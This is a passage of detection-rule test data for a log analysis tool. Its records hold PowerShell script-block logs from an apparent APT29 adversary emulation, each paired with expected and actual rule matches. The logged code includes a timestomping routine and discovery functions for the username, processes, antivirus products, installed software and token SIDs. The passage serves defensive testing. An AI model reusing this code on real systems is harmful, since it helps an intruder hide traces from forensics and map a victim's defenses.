\"{a0c1853b-5c40-4b15-8766-3cf1c58f985a}\", \"level\": \"5\", \"channel\": \"Microsoft-Windows-PowerShell/Operational\", \"opcode\": \"15\", \"message\": \"\\\"Creating Scriptblock text (1 of 1):\\r\\nfunction user {\\n$Signature=@\\\"\\n[DllImport(\\\"secur32.dll\\\", CharSet=CharSet.Auto, SetLastError=true)]\\npublic static extern int GetUserNameEx (int nameFormat, string userName, ref int userNameSize);\\npublic static string GUN() {\\nstring uname = \\\" \\\";\\nint size = 40;\\nint EXTENDED_NAME_FORMAT_NAME_DISPLAY = 2;\\nstring ret = \\\"\\\";\\nif(0 != GetUserNameEx(EXTENDED_NAME_FORMAT_NAME_DISPLAY, uname, ref size))\\n{\\nret += \\\"UserName:\\\\t\\\" + uname.ToString();\\n} \\nreturn ret;\\n}\\n\\\"@\\nAdd-Type -MemberDefinition $Signature -Name GetUNameEx -Namespace Secur32\\n$result = [Secur32.GetUNameEx]::GUN()\\nreturn $result\\n}\\r\\n\\r\\nScriptBlock ID: ecd94e73-ad13-4309-b256-6ebd527f7a0f\\r\\nPath: C:\\\\Users\\\\itadmin\\\\Desktop\\\\stepThirteen.ps1\\\"\", \"version\": \"1\", \"systemTime\": \"2021-10-29T15:32:45.0360677Z\", \"eventRecordID\": \"2630813\", \"threadID\": \"4724\", \"computer\": \"apt29w2.xrisbarney.local\", \"task\": \"2\", \"processID\": \"96\", \"severityValue\": \"VERBOSE\", \"providerName\": \"Microsoft-Windows-PowerShell\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.messageNumber": "1", "win.eventdata.messageTotal": "1", "win.eventdata.path": "C:\\\\Users\\\\itadmin\\\\Desktop\\\\stepThirteen.ps1", "win.eventdata.scriptBlockId": "ecd94e73-ad13-4309-b256-6ebd527f7a0f", "win.eventdata.scriptBlockText": "function user { $Signature=@\\\" [DllImport(\\\"secur32.dll\\\", CharSet=CharSet.Auto, SetLastError=true)] public static extern int GetUserNameEx (int nameFormat, string userName, ref int userNameSize); public static string GUN() { string uname = \\\" \\\"; int size = 40; int EXTENDED_NAME_FORMAT_NAME_DISPLAY = 2; string ret = \\\"\\\"; if(0 != GetUserNameEx(EXTENDED_NAME_FORMAT_NAME_DISPLAY, uname, ref size)) { ret += \\\"UserName:\\\\t\\\" + uname.ToString(); } return ret; } \\\"@ Add-Type -MemberDefinition $Signature -Name GetUNameEx -Namespace Secur32 $result = [Secur32.GetUNameEx]::GUN() return $result }", "win.system.channel": "Microsoft-Windows-PowerShell/Operational", "win.system.computer": "apt29w2.xrisbarney.local", "win.system.eventID": "4104", "win.system.eventRecordID": "2630813", "win.system.keywords": "0x0", "win.system.level": "5", "win.system.opcode": "15", "win.system.processID": "96", "win.system.providerGuid": "{a0c1853b-5c40-4b15-8766-3cf1c58f985a}", "win.system.providerName": "Microsoft-Windows-PowerShell", "win.system.severityValue": "VERBOSE", "win.system.systemTime": "2021-10-29T15:32:45.0360677Z", "win.system.task": "2", "win.system.threadID": "4724", "win.system.version": "1"}, "field_names": ["win.eventdata.messageNumber", "win.eventdata.messageTotal", "win.eventdata.path", "win.eventdata.scriptBlockId", "win.eventdata.scriptBlockText", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "1002", "level": "2", "expected_decoder": "json", "expected_rule": "91831", "rule_matches_expected": false, "ini_file": "powershell.ini", "section": "Powershell executed \"GetUserNameEx\""} +{"log": "{ \"win\": { \"eventdata\": { \"path\": \"C:\\\\\\\\Users\\\\\\\\itadmin\\\\\\\\Desktop\\\\\\\\stepThirteen.ps1\", \"messageNumber\": \"1\", \"messageTotal\": \"1\", \"scriptBlockText\": \"function pslist { $Signature=@\\\\\\\" [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)] private struct PROCESSENTRY32 { const int MAX_PATH = 260; internal UInt32 dwSize; internal UInt32 cntUsage; internal UInt32 th32ProcessID; internal IntPtr th32DefaultHeapID; internal UInt32 th32ModuleID; internal UInt32 cntThreads; internal UInt32 th32ParentProcessID; internal Int32 pcPriClassBase; internal UInt32 dwFlags; [MarshalAs(UnmanagedType.ByValTStr, SizeConst = MAX_PATH)] internal string szExeFile; } [DllImport(\\\\\\\"kernel32\\\\\\\", SetLastError = true, CharSet = System.Runtime.InteropServices.CharSet.Auto)] static extern IntPtr CreateToolhelp32Snapshot([In]UInt32 -MemberDefinition $Signature -Name CT32Snapshot -Namespace Kernel32 $result = [Kernel32.CT32Snapshot]::CT32S() return $result }\", \"scriptBlockId\": \"03eb3886-b470-428f-8d1d-444c5ae2e453\" }, \"system\": { \"eventID\": \"4104\", \"keywords\": \"0x0\", \"providerGuid\": \"{a0c1853b-5c40-4b15-8766-3cf1c58f985a}\", \"level\": \"5\", \"channel\": \"Microsoft-Windows-PowerShell/Operational\", \"opcode\": \"15\", \"message\": \"\\\"Creating Scriptblock text (1 of 1):\\r\\nfunction pslist {\\n$Signature=@\\\"\\n[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]\\nprivate struct PROCESSENTRY32\\n{\\nconst int MAX_PATH = 260;\\ninternal UInt32 dwSize;\\ninternal UInt32 cntUsage;\\ninternal UInt32 th32ProcessID;\\ninternal IntPtr th32DefaultHeapID;\\ninternal UInt32 th32ModuleID;\\ninternal UInt32 cntThreads;\\ninternal UInt32 th32ParentProcessID;\\ninternal Int32 pcPriClassBase;\\ninternal UInt32 dwFlags;\\n[MarshalAs(UnmanagedType.ByValTStr, SizeConst = MAX_PATH)]\\ninternal string szExeFile;\\n}\\n[DllImport(\\\"kernel32\\\", SetLastError = true, CharSet = System.Runtime.InteropServices.CharSet.Auto)]\\nstatic extern IntPtr CreateToolhelp32Snapshot([In]UInt32 03eb3886-b470-428f-8d1d-444c5ae2e453\\r\\nPath: C:\\\\Users\\\\itadmin\\\\Desktop\\\\stepThirteen.ps1\\\"\", \"version\": \"1\", \"systemTime\": \"2021-10-29T15:32:51.8185745Z\", \"eventRecordID\": \"2630845\", \"threadID\": \"4724\", \"computer\": \"apt29w2.xrisbarney.local\", \"task\": \"2\", \"processID\": \"96\", \"severityValue\": \"VERBOSE\", \"providerName\": \"Microsoft-Windows-PowerShell\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.messageNumber": "1", "win.eventdata.messageTotal": "1", "win.eventdata.path": "C:\\\\Users\\\\itadmin\\\\Desktop\\\\stepThirteen.ps1", "win.eventdata.scriptBlockId": "03eb3886-b470-428f-8d1d-444c5ae2e453", "win.eventdata.scriptBlockText": "function pslist { $Signature=@\\\" [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)] private struct PROCESSENTRY32 { const int MAX_PATH = 260; internal UInt32 dwSize; internal UInt32 cntUsage; internal UInt32 th32ProcessID; internal IntPtr th32DefaultHeapID; internal UInt32 th32ModuleID; internal UInt32 cntThreads; internal UInt32 th32ParentProcessID; internal Int32 pcPriClassBase; internal UInt32 dwFlags; [MarshalAs(UnmanagedType.ByValTStr, SizeConst = MAX_PATH)] internal string szExeFile; } [DllImport(\\\"kernel32\\\", SetLastError = true, CharSet = System.Runtime.InteropServices.CharSet.Auto)] static extern IntPtr CreateToolhelp32Snapshot([In]UInt32 -MemberDefinition $Signature -Name CT32Snapshot -Namespace Kernel32 $result = [Kernel32.CT32Snapshot]::CT32S() return $result }", "win.system.channel": "Microsoft-Windows-PowerShell/Operational", "win.system.computer": "apt29w2.xrisbarney.local", "win.system.eventID": "4104", "win.system.eventRecordID": "2630845", "win.system.keywords": "0x0", "win.system.level": "5", "win.system.opcode": "15", "win.system.processID": "96", "win.system.providerGuid": "{a0c1853b-5c40-4b15-8766-3cf1c58f985a}", "win.system.providerName": "Microsoft-Windows-PowerShell", "win.system.severityValue": "VERBOSE", "win.system.systemTime": "2021-10-29T15:32:51.8185745Z", "win.system.task": "2", "win.system.threadID": "4724", "win.system.version": "1"}, "field_names": ["win.eventdata.messageNumber", "win.eventdata.messageTotal", "win.eventdata.path", "win.eventdata.scriptBlockId", "win.eventdata.scriptBlockText", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "1002", "level": "2", "expected_decoder": "json", "expected_rule": "91832", "rule_matches_expected": false, "ini_file": "powershell.ini", "section": "Powershell executed \"CreateToolhelp32Snapshot\""} +{"log": "{\"win\":{\"eventdata\":{\"messageNumber\":\"1\",\"messageTotal\":\"1\",\"scriptBlockText\":\"# This code was derived from https://github.com/matthewdunwoody/POSHSPY function timestomp { [CmdletBinding()] param ( [string] $dest ) $source = + '\\\\\\\\system32') | ? { !$_.PSIsContainer } | Where-Object { $_.LastWriteTime -lt \\\\\\\"01/01/2013\\\\\\\" } | Get-Random | %{ $_.FullName }) [IO.File]::SetCreationTime($dest, [IO.File]::GetCreationTime($source)) [IO.File]::SetLastAccessTime($dest, [IO.File]::GetLastAccessTime($source)) [IO.File]::SetLastWriteTime($dest, [IO.File]::GetLastWriteTime($source)) }\",\"scriptBlockId\":\"e7e5e6f4-5b1c-4294-82fb-137c9dbc9a0c\"},\"system\":{\"eventID\":\"4104\",\"keywords\":\"0x0\",\"providerGuid\":\"{a0c1853b-5c40-4b15-8766-3cf1c58f985a}\",\"level\":\"5\",\"channel\":\"Microsoft-Windows-PowerShell/Operational\",\"opcode\":\"15\",\"message\":\"\\\"Creating Scriptblock text (1 of 1):\\r\\n# This code was derived from https://github.com/matthewdunwoody/POSHSPY\\n\\nfunction timestomp {\\n\\t[CmdletBinding()] param (\\n\\t\\t[string] $dest\\n\\t)\\n\\t$source = + '\\\\system32') | ? { !$_.PSIsContainer } | Where-Object { $_.LastWriteTime -lt \\\"01/01/2013\\\" } | Get-Random | %{ $_.FullName })\\n\\t[IO.File]::SetCreationTime($dest, [IO.File]::GetCreationTime($source))\\n\\t[IO.File]::SetLastAccessTime($dest, [IO.File]::GetLastAccessTime($source))\\n\\t[IO.File]::SetLastWriteTime($dest, [IO.File]::GetLastWriteTime($source))\\n}\\n\\r\\n\\r\\nScriptBlock ID: e7e5e6f4-5b1c-4294-82fb-137c9dbc9a0c\\r\\nPath: \\\"\",\"version\":\"1\",\"systemTime\":\"2021-11-01T19:38:31.9490151Z\",\"eventRecordID\":\"97256\",\"threadID\":\"6276\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"2\",\"processID\":\"5300\",\"severityValue\":\"VERBOSE\",\"providerName\":\"Microsoft-Windows-PowerShell\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.messageNumber": "1", "win.eventdata.messageTotal": "1", "win.eventdata.scriptBlockId": "e7e5e6f4-5b1c-4294-82fb-137c9dbc9a0c", "win.eventdata.scriptBlockText": "# This code was derived from https://github.com/matthewdunwoody/POSHSPY function timestomp { [CmdletBinding()] param ( [string] $dest ) $source = + '\\\\system32') | ? { !$_.PSIsContainer } | Where-Object { $_.LastWriteTime -lt \\\"01/01/2013\\\" } | Get-Random | %{ $_.FullName }) [IO.File]::SetCreationTime($dest, [IO.File]::GetCreationTime($source)) [IO.File]::SetLastAccessTime($dest, [IO.File]::GetLastAccessTime($source)) [IO.File]::SetLastWriteTime($dest, [IO.File]::GetLastWriteTime($source)) }", "win.system.channel": "Microsoft-Windows-PowerShell/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "4104", "win.system.eventRecordID": "97256", "win.system.keywords": "0x0", "win.system.level": "5", "win.system.opcode": "15", "win.system.processID": "5300", "win.system.providerGuid": "{a0c1853b-5c40-4b15-8766-3cf1c58f985a}", "win.system.providerName": "Microsoft-Windows-PowerShell", "win.system.severityValue": "VERBOSE", "win.system.systemTime": "2021-11-01T19:38:31.9490151Z", "win.system.task": "2", "win.system.threadID": "6276", "win.system.version": "1"}, "field_names": ["win.eventdata.messageNumber", "win.eventdata.messageTotal", "win.eventdata.scriptBlockId", "win.eventdata.scriptBlockText", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "91834", "rule_matches_expected": false, "ini_file": "powershell.ini", "section": "Timestomp"} +{"log": "{\"win\":{\"eventdata\":{\"messageNumber\":\"1\",\"messageTotal\":\"1\",\"scriptBlockText\":\"function detectav { $AntiVirusProducts = Get-WmiObject -Namespace \\\\\\\"root\\\\\\\\SecurityCenter2\\\\\\\" -Class AntiVirusProduct $ret = @() foreach($AntiVirusProduct in $AntiVirusProducts){ #Create hash-table for each computer $ht = @{} $ht.Name = $AntiVirusProduct.displayName $ht.'Product GUID' = $AntiVirusProduct.instanceGuid $ht.'Product Executable' = $AntiVirusProduct.pathToSignedProductExe $ht.'Reporting Exe' = $AntiVirusProduct.pathToSignedReportingExe $ht.'Timestamp' = $AntiVirusProduct.timestamp #Create a new object for each computer $ret += New-Object -TypeName PSObject -Property $ht } Return $ret }\",\"scriptBlockId\":\"82a30873-d6cb-4690-bba9-1b3158b88081\"},\"system\":{\"eventID\":\"4104\",\"keywords\":\"0x0\",\"providerGuid\":\"{a0c1853b-5c40-4b15-8766-3cf1c58f985a}\",\"level\":\"5\",\"channel\":\"Microsoft-Windows-PowerShell/Operational\",\"opcode\":\"15\",\"message\":\"\\\"Creating Scriptblock text (1 of 1):\\r\\nfunction detectav {\\n\\t$AntiVirusProducts = Get-WmiObject -Namespace \\\"root\\\\SecurityCenter2\\\" -Class AntiVirusProduct\\n\\n $ret = @()\\n foreach($AntiVirusProduct in $AntiVirusProducts){\\n\\n #Create hash-table for each computer\\n $ht = @{}\\n $ht.Name = $AntiVirusProduct.displayName\\n $ht.'Product GUID' = $AntiVirusProduct.instanceGuid\\n $ht.'Product Executable' = $AntiVirusProduct.pathToSignedProductExe\\n $ht.'Reporting Exe' = $AntiVirusProduct.pathToSignedReportingExe\\n\\t\\t$ht.'Timestamp' = $AntiVirusProduct.timestamp\\n\\n\\n #Create a new object for each computer\\n $ret += New-Object -TypeName PSObject -Property $ht \\n }\\n Return $ret\\n}\\r\\n\\r\\nScriptBlock ID: 82a30873-d6cb-4690-bba9-1b3158b88081\\r\\nPath: \\\"\",\"version\":\"1\",\"systemTime\":\"2021-11-01T19:52:17.4666547Z\",\"eventRecordID\":\"97263\",\"threadID\":\"6276\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"2\",\"processID\":\"5300\",\"severityValue\":\"VERBOSE\",\"providerName\":\"Microsoft-Windows-PowerShell\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.messageNumber": "1", "win.eventdata.messageTotal": "1", "win.eventdata.scriptBlockId": "82a30873-d6cb-4690-bba9-1b3158b88081", "win.eventdata.scriptBlockText": "function detectav { $AntiVirusProducts = Get-WmiObject -Namespace \\\"root\\\\SecurityCenter2\\\" -Class AntiVirusProduct $ret = @() foreach($AntiVirusProduct in $AntiVirusProducts){ #Create hash-table for each computer $ht = @{} $ht.Name = $AntiVirusProduct.displayName $ht.'Product GUID' = $AntiVirusProduct.instanceGuid $ht.'Product Executable' = $AntiVirusProduct.pathToSignedProductExe $ht.'Reporting Exe' = $AntiVirusProduct.pathToSignedReportingExe $ht.'Timestamp' = $AntiVirusProduct.timestamp #Create a new object for each computer $ret += New-Object -TypeName PSObject -Property $ht } Return $ret }", "win.system.channel": "Microsoft-Windows-PowerShell/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "4104", "win.system.eventRecordID": "97263", "win.system.keywords": "0x0", "win.system.level": "5", "win.system.opcode": "15", "win.system.processID": "5300", "win.system.providerGuid": "{a0c1853b-5c40-4b15-8766-3cf1c58f985a}", "win.system.providerName": "Microsoft-Windows-PowerShell", "win.system.severityValue": "VERBOSE", "win.system.systemTime": "2021-11-01T19:52:17.4666547Z", "win.system.task": "2", "win.system.threadID": "6276", "win.system.version": "1"}, "field_names": ["win.eventdata.messageNumber", "win.eventdata.messageTotal", "win.eventdata.scriptBlockId", "win.eventdata.scriptBlockText", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "91835", "rule_matches_expected": false, "ini_file": "powershell.ini", "section": "Powershell tampering with WMI AntiVirusProduct class"} +{"log": "{\"win\":{\"eventdata\":{\"messageNumber\":\"1\",\"messageTotal\":\"1\",\"scriptBlockText\":\"function software { $keys = \\\\\\\"SOFTWARE\\\\\\\\Wow6432Node\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Uninstall\\\\\\\", \\\\\\\"SOFTWARE\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Uninstall\\\\\\\" $type = [Microsoft.Win32.RegistryHive]::LocalMachine $regKey = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey($type, $comp) $ret = \\\\\\\"\\\\\\\" foreach ($key in $keys) { $a = $regKey.OpenSubKey($key) $subkeyNames = $a.GetSubKeyNames() foreach($subkeyName in $subkeyNames) { $productKey = $a.OpenSubKey($subkeyName) $productName = $productKey.GetValue(\\\\\\\"DisplayName\\\\\\\") $productVersion = $productKey.GetValue(\\\\\\\"DisplayVersion\\\\\\\") $productComments = $productKey.GetValue(\\\\\\\"Comments\\\\\\\") $out = $productName + \\\\\\\" | \\\\\\\" + $productVersion + \\\\\\\" | \\\\\\\" + $productComments + \\\\\\\"`n\\\\\\\" $ret += $out } } Return $ret }\",\"scriptBlockId\":\"2176a6be-c680-46ef-a6d8-5fa7ec788944\"},\"system\":{\"eventID\":\"4104\",\"keywords\":\"0x0\",\"providerGuid\":\"{a0c1853b-5c40-4b15-8766-3cf1c58f985a}\",\"level\":\"5\",\"channel\":\"Microsoft-Windows-PowerShell/Operational\",\"opcode\":\"15\",\"message\":\"\\\"Creating Scriptblock text (1 of 1):\\r\\nfunction software {\\n\\t$keys = \\\"SOFTWARE\\\\Wow6432Node\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\\\",\\n \\\"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\\\"\\n\\t$type = [Microsoft.Win32.RegistryHive]::LocalMachine\\n\\t$regKey = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey($type, $comp)\\n\\t$ret = \\\"\\\"\\n\\tforeach ($key in $keys) {\\n\\t\\t$a = $regKey.OpenSubKey($key)\\n\\t\\t$subkeyNames = $a.GetSubKeyNames()\\n\\t\\tforeach($subkeyName in $subkeyNames) {\\n $productKey = $a.OpenSubKey($subkeyName)\\n $productName = $productKey.GetValue(\\\"DisplayName\\\")\\n $productVersion = $productKey.GetValue(\\\"DisplayVersion\\\")\\n $productComments = $productKey.GetValue(\\\"Comments\\\")\\n\\t\\t\\t\\t\\t$out = $productName + \\\" | \\\" + $productVersion + \\\" | \\\" + $productComments + \\\"`n\\\"\\n\\t\\t\\t\\t\\t$ret += $out\\n\\t\\t}\\n\\t}\\n\\tReturn $ret\\n}\\r\\n\\r\\nScriptBlock ID: 2176a6be-c680-46ef-a6d8-5fa7ec788944\\r\\nPath: \\\"\",\"version\":\"1\",\"systemTime\":\"2021-11-01T20:06:39.9348862Z\",\"eventRecordID\":\"97265\",\"threadID\":\"6276\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"2\",\"processID\":\"5300\",\"severityValue\":\"VERBOSE\",\"providerName\":\"Microsoft-Windows-PowerShell\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.messageNumber": "1", "win.eventdata.messageTotal": "1", "win.eventdata.scriptBlockId": "2176a6be-c680-46ef-a6d8-5fa7ec788944", "win.eventdata.scriptBlockText": "function software { $keys = \\\"SOFTWARE\\\\Wow6432Node\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\\\", \\\"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\\\" $type = [Microsoft.Win32.RegistryHive]::LocalMachine $regKey = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey($type, $comp) $ret = \\\"\\\" foreach ($key in $keys) { $a = $regKey.OpenSubKey($key) $subkeyNames = $a.GetSubKeyNames() foreach($subkeyName in $subkeyNames) { $productKey = $a.OpenSubKey($subkeyName) $productName = $productKey.GetValue(\\\"DisplayName\\\") $productVersion = $productKey.GetValue(\\\"DisplayVersion\\\") $productComments = $productKey.GetValue(\\\"Comments\\\") $out = $productName + \\\" | \\\" + $productVersion + \\\" | \\\" + $productComments + \\\"`n\\\" $ret += $out } } Return $ret }", "win.system.channel": "Microsoft-Windows-PowerShell/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "4104", "win.system.eventRecordID": "97265", "win.system.keywords": "0x0", "win.system.level": "5", "win.system.opcode": "15", "win.system.processID": "5300", "win.system.providerGuid": "{a0c1853b-5c40-4b15-8766-3cf1c58f985a}", "win.system.providerName": "Microsoft-Windows-PowerShell", "win.system.severityValue": "VERBOSE", "win.system.systemTime": "2021-11-01T20:06:39.9348862Z", "win.system.task": "2", "win.system.threadID": "6276", "win.system.version": "1"}, "field_names": ["win.eventdata.messageNumber", "win.eventdata.messageTotal", "win.eventdata.scriptBlockId", "win.eventdata.scriptBlockText", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "91836", "rule_matches_expected": false, "ini_file": "powershell.ini", "section": "Powershell tampering software installation info on system registry"} +{"log": "{ \"win\": { \"eventdata\": { \"path\": \"C:\\\\\\\\Users\\\\\\\\itadmin\\\\\\\\Desktop\\\\\\\\stepSixteen_SID.ps1\", \"messageNumber\": \"1\", \"messageTotal\": \"1\", \"scriptBlockText\": \"$PID -DesiredAccess PROCESS_QUERY_LIMITED_INFORMATION $hToken = OpenProcessToken -ProcessHandle $hProcess -DesiredAccess TOKEN_QUERY $Success = $Advapi32::GetTokenInformation($hToken, $TOKEN_INFORMATION_CLASS::$TokenInformationClass, 0, $TokenPtrSize, [ref]$TokenPtrSize) [IntPtr]$TokenPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPtrSize) $Success = $Advapi32::GetTokenInformation($hToken, $TOKEN_INFORMATION_CLASS::$TokenInformationClass, $TokenPtr, $TokenPtrSize, [ref]$TokenPtrSize); $LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() if($Success) { $TokenOwner = $TokenPtr -as $TOKEN_OWNER if($TokenOwner.Owner -ne $null) { $OwnerSid = ConvertSidToStringSid -SidPointer $TokenOwner.Owner $Sid = New-Object System.Security.Principal.SecurityIdentifier($OwnerSid) $OwnerName = $Sid.Translate([System.Security.Principal.NTAccount]) $obj = New-Object -TypeName psobject $obj | Add-Member -MemberType NoteProperty -Name Sid -Value $OwnerSid $obj | Add-Member -MemberType NoteProperty -Name Name -Value $OwnerName Write-Output $obj } else { Write-Output \\\\\\\"Fail\\\\\\\" } [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPtr) } else { Write-Debug \\\\\\\"[GetTokenInformation] Error: $(([ComponentModel.Win32Exception] $LastError).Message)\\\\\\\" } }\", \"scriptBlockId\": \"c491303a-6988-412c-8618-1d8f1029fe01\" }, \"system\": { \"eventID\": \"4104\", \"keywords\": \"0x0\", \"providerGuid\": \"{a0c1853b-5c40-4b15-8766-3cf1c58f985a}\", \"level\": \"5\", \"channel\": \"Microsoft-Windows-PowerShell/Operational\", \"opcode\": \"15\", \"message\": \"\\\"Creating Scriptblock text (1 of 1):$PID -DesiredAccess PROCESS_QUERY_LIMITED_INFORMATION\\n\\t$hToken = OpenProcessToken -ProcessHandle $hProcess -DesiredAccess TOKEN_QUERY\\n\\t$Success = $Advapi32::GetTokenInformation($hToken, $TOKEN_INFORMATION_CLASS::$TokenInformationClass, 0, $TokenPtrSize, [ref]$TokenPtrSize)\\n\\t[IntPtr]$TokenPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPtrSize)\\n\\t$Success = $Advapi32::GetTokenInformation($hToken, $TOKEN_INFORMATION_CLASS::$TokenInformationClass, $TokenPtr, $TokenPtrSize, [ref]$TokenPtrSize); $LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()\\n\\tif($Success) {\\n\\t\\t$TokenOwner = $TokenPtr -as $TOKEN_OWNER\\n\\t\\tif($TokenOwner.Owner -ne $null) {\\n\\t\\t\\t$OwnerSid = ConvertSidToStringSid -SidPointer $TokenOwner.Owner\\n\\t\\t\\t$Sid = New-Object System.Security.Principal.SecurityIdentifier($OwnerSid)\\n\\t\\t\\t$OwnerName = $Sid.Translate([System.Security.Principal.NTAccount])\\n\\t\\t\\t$obj = New-Object -TypeName psobject\\n\\t\\t\\t$obj | Add-Member -MemberType NoteProperty -Name Sid -Value $OwnerSid\\n\\t\\t\\t$obj | Add-Member -MemberType NoteProperty -Name Name -Value $OwnerName\\n\\t\\t\\tWrite-Output $obj\\n\\t\\t}\\n\\t\\telse {\\n\\t\\t\\tWrite-Output \\\"Fail\\\"\\n\\t\\t}\\n\\t\\t[System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPtr)\\n\\t}\\n\\telse {\\n\\t\\tWrite-Debug \\\"[GetTokenInformation] Error: $(([ComponentModel.Win32Exception] $LastError).Message)\\\"\\n\\t}\\n}\\r\\n\\r\\nScriptBlock ID: c491303a-6988-412c-8618-1d8f1029fe01\\r\\nPath: C:\\\\Users\\\\itadmin\\\\Desktop\\\\stepSixteen_SID.ps1\\\"\", \"version\": \"1\", \"systemTime\": \"2021-11-03T11:15:23.9056264Z\", \"eventRecordID\": \"2634103\", \"threadID\": \"6156\", \"computer\": \"apt29w2.xrisbarney.local\", \"task\": \"2\", \"processID\": \"5212\", \"severityValue\": \"VERBOSE\", \"providerName\": \"Microsoft-Windows-PowerShell\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.messageNumber": "1", "win.eventdata.messageTotal": "1", "win.eventdata.path": "C:\\\\Users\\\\itadmin\\\\Desktop\\\\stepSixteen_SID.ps1", "win.eventdata.scriptBlockId": "c491303a-6988-412c-8618-1d8f1029fe01", "win.eventdata.scriptBlockText": "$PID -DesiredAccess PROCESS_QUERY_LIMITED_INFORMATION $hToken = OpenProcessToken -ProcessHandle $hProcess -DesiredAccess TOKEN_QUERY $Success = $Advapi32::GetTokenInformation($hToken, $TOKEN_INFORMATION_CLASS::$TokenInformationClass, 0, $TokenPtrSize, [ref]$TokenPtrSize) [IntPtr]$TokenPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPtrSize) $Success = $Advapi32::GetTokenInformation($hToken, $TOKEN_INFORMATION_CLASS::$TokenInformationClass, $TokenPtr, $TokenPtrSize, [ref]$TokenPtrSize); $LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() if($Success) { $TokenOwner = $TokenPtr -as $TOKEN_OWNER if($TokenOwner.Owner -ne $null) { $OwnerSid = ConvertSidToStringSid -SidPointer $TokenOwner.Owner $Sid = New-Object System.Security.Principal.SecurityIdentifier($OwnerSid) $OwnerName = $Sid.Translate([System.Security.Principal.NTAccount]) $obj = New-Object -TypeName psobject $obj | Add-Member -MemberType NoteProperty -Name Sid -Value $OwnerSid $obj | Add-Member -MemberType NoteProperty -Name Name -Value $OwnerName Write-Output $obj } else { Write-Output \\\"Fail\\\" } [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPtr) } else { Write-Debug \\\"[GetTokenInformation] Error: $(([ComponentModel.Win32Exception] $LastError).Message)\\\" } }", "win.system.channel": "Microsoft-Windows-PowerShell/Operational", "win.system.computer": "apt29w2.xrisbarney.local", "win.system.eventID": "4104", "win.system.eventRecordID": "2634103", "win.system.keywords": "0x0", "win.system.level": "5", "win.system.opcode": "15", "win.system.processID": "5212", "win.system.providerGuid": "{a0c1853b-5c40-4b15-8766-3cf1c58f985a}", "win.system.providerName": "Microsoft-Windows-PowerShell", "win.system.severityValue": "VERBOSE", "win.system.systemTime": "2021-11-03T11:15:23.9056264Z", "win.system.task": "2", "win.system.threadID": "6156", "win.system.version": "1"}, "field_names": ["win.eventdata.messageNumber", "win.eventdata.messageTotal", "win.eventdata.path", "win.eventdata.scriptBlockId", "win.eventdata.scriptBlockText", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "1002", "level": "2", "expected_decoder": "json", "expected_rule": "91817", "rule_matches_expected": false, "ini_file": "powershell.ini", "section": "Powershell script executed ConvertSidToStringSid API"} +{"log": "{ \"win\": { \"eventdata\": { \"messageNumber\": \"1\", \"messageTotal\": \"1\", \"scriptBlockText\": \"Get-Content '.\\\\\\\\2016_United_States_presidential_election_-_Wikipedia.html' -Stream schemas | 